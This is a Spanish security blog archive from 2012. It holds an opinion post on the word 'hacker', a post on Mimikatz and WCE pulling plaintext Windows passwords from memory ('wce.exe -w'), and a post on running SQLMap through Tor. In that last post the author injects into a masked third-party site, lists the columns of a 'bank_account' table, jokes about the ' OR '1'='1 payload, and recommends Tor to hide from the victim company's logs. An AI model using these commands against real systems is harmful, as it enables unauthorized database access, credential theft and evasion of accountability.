martes, 20 de marzo de 2012

Hackers

Antes de nada, quiero adelantar que no soy persona a la que le guste escribir posts de opinión ni nada que no tenga "cacharreo" detrás, pero en esta ocasión voy a hacer una excepción que supongo que entendereis si leéis hasta el final.

En la pasada RootedCON, durante uno de los RootedPanels, uno de los moderadores preguntó ¿cuántos de aquí sois hackers? Prácticamente nadie de la audiencia levantó la mano (entre los que me incluyo). El término "Hacker" está siendo empleado por los medios como sinónimo de "Pirata Informático" o "delincuente", y con toda esa carga semántica es normal que nadie quiera levantar la mano.

La definición que más me gusta, no recuerdo donde lo leí o a quien se la escuché, o si se me ocurrió en un momento de inspiración filosófica, pero: El Hacking es el ARTE de hacer que las cosas funcionen de manera diferente a como su creador originalmente pensó. Si os fijáis, este definición no es puramente tecnológica, como otras que he visto, y se puede aplicar a aquella persona que diseña una cadena de entrada que hace que un software ejecute código cuando únicamente debería mostrar una información, pero también se puede aplicar a aquellas personas que hacen tunning de un coche, o a los compañeros de IKEA Hackers, que cogen las piezas de un mueble y las montan de forma que se obtiene algo diferente. Esto para mi es ser un Hacker, tener un conocimiento sobre tu campo suficientemente profundo como para poder hacer Hacking sobre él.

A pesar de esto, son tan malas las connotaciones que se han atribuido al término "Hacker" que los que nos dedicamos a esto empleamos el término "Hacking Ético" para venderlo ¿cómo que ético? ODIO el término "ético" porque asume que el "Hacking" de por si no es ético, algo que es totalmente falso. Es como si algunos atracadores de bancos practicaran atletismo y lo utilizaran para darse a la fuga, y los medios acabaran usando tantas veces el término "atleta" como sinónimo de "delincuente" que los que siempre lo han practicado tuvieran que empezar a decir que practican "Atletismo Ético". Absurdo ¿verdad? ¿Y "cerrajerismo ético"? También hay ladrones que abren cerraduras, y no por ello los medios han "demonizado" a este colectivo.

Pero también es culpa nuestra, porque hemos permitido que lo hagan, porque no les hemos corregido, o porque cuando una persona pregunta ¿quién aquí se considera un hacker? Todos agachamos la cabeza y fortalecemos la sensación de la sociedad de que ser un hacker es algo malo.

Yo soy un hacker, o al menos intento leer, estudiar, practicar todos los días para alcanzar los conocimientos necesarios para poder utilizar las técnicas de hacking. NO soy un delincuente, y ME NIEGO a seguir utilizando el calificativo "Ético" referido a mi trabajo.

¿Te gusta leer absolutamente todo lo que pasa por tus manos? ¿Te gusta saber como funciona todo hasta el más mínimo detalle? Y cuando ves claramente que en determinadas circunstancias podrías hacer que algo funcionara de manera diferente ¿te gusta probar si eres capaz de hacerlo? Amigo mio, eres un hacker.

-----------------------------

En memoria de Hugo Castellano, gran defensor de la comunidad hacker y padre del compañero Nico Castellano, que falleció el pasado sábado, y que nos tuvo que recordar a todos lo que somos y que hay que tener el valor de defender lo que uno es en cualquier circunstancia. Gracias Don Hugo, nunca le olvidaremos. Descanse en Paz.

lunes, 12 de marzo de 2012

Mimikatz & WCE 1.3beta

Hace algo más de un mes, mi compañero Julio Gómez nos mandaba a unos cuantos una herramienta llamada Mimikatz, publicada en Frances, que decía poder extraer las contraseñas de Windows de la memoria. Tras unas cuantas horas de pruebas, IDA, y ver un poco que hacía, parece que efectivamente la herramienta hacía lo que decía hacer.

Fruto de las pruebas, otro compañero, Ramón Pinuaga, escribía en el blog de S21sec un articulo donde comentaba el descubrimiento de la herramienta, la técnica que empleaba, y algunas de las pruebas que hicimos con ella.

Ahora, algunas semanas después, una actualización de una de mis herramientas favoritas: Windows Credential Editor (WCE) de Hernán Ochoa, de la que ya he hablado en otras ocasiones, incorpora esta técnica y es capaz de obtener las credenciales en texto claro mediante la nueva opción -w:


En estos momentos, la versión 1.3, que es la que soporta esta nueva funcionalidad, se encuentra en estado Beta, y únicamente disponible en su versión de 32 bits, aunque todos esperamos poder verla pronto disponible para 64 bits.

> wce.exe -w


Según he podido leer tanto en el blog del autor de Mimikatz, la información que conozco sobre WCE y un poquito de IDA, la técnica empleada originariamente por Mimikatz sería muy similar (por no decir idéntica) a la empleada tradicionalmente por WCE, salvo que a éste último se le habría añadido la funcionalidad de consultar otros Security Packages además de MSV1_0, concretamente WDigest, de donde se pueden obtener las credenciales en texto claro. La otra posibilidad, que era la de obtener las credenciales a través de Tspkg no ha sido implementada, imagino que porque esta última requiere que el sistema sea un Windows Vista o superior, mientras que en el caso de WDigest la técnica funcionaría con cualquier equipo Windows XP o superior.

No nos olvidemos que para que estas credenciales hayan sido almacenadas en memoria es necesario que el usuario haya hecho login en la máquina físicamente o a través de Terminal Server en algún momento tras el último reinicio de la máquina. Las autenticaciones a través de red almacenarían esta contraseña, ya que esta ni siquiera llegaría a ser transmitida a este equipo.

En el próximo post, algunas "jugadas" que podemos hacer empleando esta técnica.

Actualización: En los comentarios del post podeis ver una explicación muy completa que ha realizado Hernan Ochoa, autor de WCE, sobre el funcionamiento del mismo, con todas las referencias necesarias para comprender el proceso. También nos anuncia que ya ha liberado la versión para 64 bits de la nueva versión de la herramienta.

jueves, 8 de marzo de 2012

SQLMap con Tor

Cada vez que oigo la palabra TOR me acuerdo de dos cosas: La primera es de la película "El Trueno Azul", y de Frank Murpy y su "JAFO". La película es antigua antigua, pero es una de esas que se te quedan en la retina cuando eres niño.

La segunda es de una frase de @pof en la mesa redonda en la que participó en la NoConName de este pasado año: "La primera comilla desde casa, el resto desde TOR".

La verdad es que por suerte o por desgracia, a todos los interesados por la seguridad se nos escapa una comilla de vez en cuando, y nos damos cuenta, casi sin querer, de lo fácil que es vulnerar la seguridad de algunos sitios. Yo aporreo el teclado al azar y la mitad de las veces me sale un ' OR '1'='1 , no lo puedo evitar :P

Lamentablemente, la legislación hoy en día nos lo pone difícil, ya que una vez encontrado uno de estos fallos hay que ser valiente para reportarlo. Existen mecanismos, como los CERTs y las Fuerzas y Cuerpos de Seguridad del Estado, sobretodo si quedan "a la vista" datos sensibles de ciudadanos. No obstante, aunque estas entidades nos garanticen el anonimato, la empresa afectada siempre podría buscar en sus logs y acabar viendo tu IP. Aquí es donde entra TOR.


En algún otro post nos meteremos a fondo con como funciona la red TOR, pero para ser prácticos diremos que es un proxy que nos instalamos en nuestro equipo al que podamos conectarnos, y que hace que nuestras conexiones salgan a través de diferentes nodos de la red, distribuidos por todo el mundo. Para saber a que puerto y mediante que protocolo funciona este proxy, simplemente tenemos que ir a las preferencias de red del navegador Firefox que viene con TOR y ver como está configurado:


Algunas herramientas, como SQLMap, ya incorporan directamente soporte para que las utilicemos a través de TOR, aunque podríamos adaptar cualquier herramienta que suporte el uso de proxy SOCKSv5. De esta forma, mediante las opciones --tor, --tor-port y --tor-type podemos configurar SQLMap para que funcione a través de la red TOR, y así olvidarnos de los problemas que podamos tener:

$ ./sqlmap.py -u "http://xxx.yyy.zzz.www/check.php?order=123456" -p order --tor --check-tor --tor-port=50247 --tor-type=SOCKS5 -D checkdb -T bank_account --columns

[02:14:51] [WARNING] increasing default value for --time-sec to 10 because switch '--tor' was provided
[02:14:52] [INFO] setting Tor SOCKS proxy settings
[02:14:52] [INFO] checking Tor connection
[02:14:54] [INFO] Tor is properly being used
[02:14:54] [INFO] using '/opt/sqlmap/output/xxx.yyy.zzz.www/session' as session file
[02:14:54] [INFO] resuming injection data from session file
[02:14:55] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[02:14:55] [INFO] testing connection to the target url
[02:14:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 5
web application technology: Apache, PHP 5.2.10, Apache 2.2.3
back-end DBMS: MySQL 5.0.11

Database: checkdb                                                                                                            
Table: bank_account
[3 columns]
+------------------------+---------------+
| Column                  | Type           |
+------------------------+---------------+
| account_name       | varchar(32) |
| account_number  | varchar(32) |
| id                            | int(11)         |
+------------------------+---------------+

"Aguita" como están las cosas por ahí fuera, no quiero ni mirar la tabla :)
Que nadie se olvide que este tipo de medidas sirven para que la empresa no tenga la tentación de querer pagar con nosotros la rabia de tener a la guardia civil encima por un incumplimiento de la LOPD, pero si la lias MUY PARDA entonces ya entra la policía, los ISPs, la colaboración internacional, el profiling, en fin... que no la lieis parda xD